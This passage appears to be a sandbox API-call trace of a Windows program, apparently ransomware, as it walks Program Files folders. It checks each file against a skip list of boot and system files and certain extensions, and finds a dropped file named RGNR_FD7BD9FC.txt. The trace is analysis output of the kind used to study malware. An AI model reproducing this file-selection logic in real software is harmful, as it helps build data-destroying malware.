ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0078.670] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.670] lstrcpyW (in: lpString1=0x1eb620, lpString2="xmlrw.dll" | out: lpString1="xmlrw.dll") returned="xmlrw.dll" [0078.670] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll") returned=".dll" [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="autorun.inf") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="boot.ini") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="bootfont.bin") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="bootsect.bak") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="bootmgr") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="bootmgr.efi") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="bootmgfw.efi") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="desktop.ini") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="iconcache.db") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="ntldr") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="ntuser.dat") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="ntuser.dat.log") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="ntuser.ini") returned 1 [0078.670] lstrcmpiW (lpString1="xmlrw.dll", lpString2="thumbs.db") returned 1 [0078.670] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.670] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.670] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.670] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0078.671] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.671] lstrcpyW (in: lpString1=0x1eb620, lpString2="xmlrwbin.dll" | out: lpString1="xmlrwbin.dll") returned="xmlrwbin.dll" [0078.671] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll") returned=".dll" [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="autorun.inf") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="boot.ini") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="bootfont.bin") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="bootsect.bak") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="bootmgr") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="bootmgr.efi") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="bootmgfw.efi") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="desktop.ini") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="iconcache.db") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="ntldr") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="ntuser.dat") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="ntuser.dat.log") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="ntuser.ini") returned 1 [0078.671] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="thumbs.db") returned 1 [0078.671] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.671] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.671] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.671] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0078.671] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.671] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810f4960, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.671] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.671] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.671] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0078.671] lstrcmpiW (lpString1="wab32.dll", lpString2=".") returned 1 [0078.671] lstrcmpiW (lpString1="wab32.dll", lpString2="..") returned 1 [0078.671] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0078.671] lstrcmpiW (lpString1="wab32res.dll", lpString2=".") returned 1 [0078.671] lstrcmpiW (lpString1="wab32res.dll", lpString2="..") returned 1 [0078.671] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0078.672] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810f4960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810f4960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0078.672] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.672] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="DirectDB.dll" | out: lpString1="DirectDB.dll") returned="DirectDB.dll" [0078.672] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned=".dll" [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="autorun.inf") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="boot.ini") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="bootfont.bin") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="bootsect.bak") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="bootmgr") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="bootmgr.efi") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="bootmgfw.efi") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="desktop.ini") returned 1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="iconcache.db") returned -1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ntldr") returned -1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ntuser.dat") returned -1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ntuser.dat.log") returned -1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="ntuser.ini") returned -1 [0078.672] lstrcmpiW (lpString1="DirectDB.dll", lpString2="thumbs.db") returned -1 [0078.672] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.672] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.672] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81140c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81140c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811b3040, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810f4960, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.673] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.673] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.673] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.673] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.673] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0078.673] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.673] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="wab32.dll" | out: lpString1="wab32.dll") returned="wab32.dll" [0078.673] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll") returned=".dll" [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="autorun.inf") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="boot.ini") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="bootfont.bin") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="bootsect.bak") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="bootmgr") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="bootmgr.efi") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="bootmgfw.efi") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="desktop.ini") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="iconcache.db") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="ntldr") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="ntuser.dat") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="ntuser.dat.log") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="ntuser.ini") returned 1 [0078.673] lstrcmpiW (lpString1="wab32.dll", lpString2="thumbs.db") returned 1 [0078.673] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.673] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.673] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.673] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0078.673] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.673] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="wab32res.dll" | out: lpString1="wab32res.dll") returned="wab32res.dll" [0078.673] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll") returned=".dll" [0078.673] lstrcmpiW (lpString1="wab32res.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.673] lstrcmpiW (lpString1="wab32res.dll", lpString2="autorun.inf") returned 1 [0078.673] lstrcmpiW (lpString1="wab32res.dll", lpString2="boot.ini") returned 1 [0078.673] lstrcmpiW (lpString1="wab32res.dll", lpString2="bootfont.bin") returned 1 [0078.673] lstrcmpiW (lpString1="wab32res.dll", lpString2="bootsect.bak") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="bootmgr") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="bootmgr.efi") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="bootmgfw.efi") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="desktop.ini") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="iconcache.db") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="ntldr") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="ntuser.dat") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="ntuser.dat.log") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="ntuser.ini") returned 1 [0078.674] lstrcmpiW (lpString1="wab32res.dll", lpString2="thumbs.db") returned 1 [0078.674] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.674] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.674] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.674] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0078.674] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0078.674] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0078.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec9db80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.674] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x25 [0078.674] lstrcpyW (in: lpString1=0x1ecbb4, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.674] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.674] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, 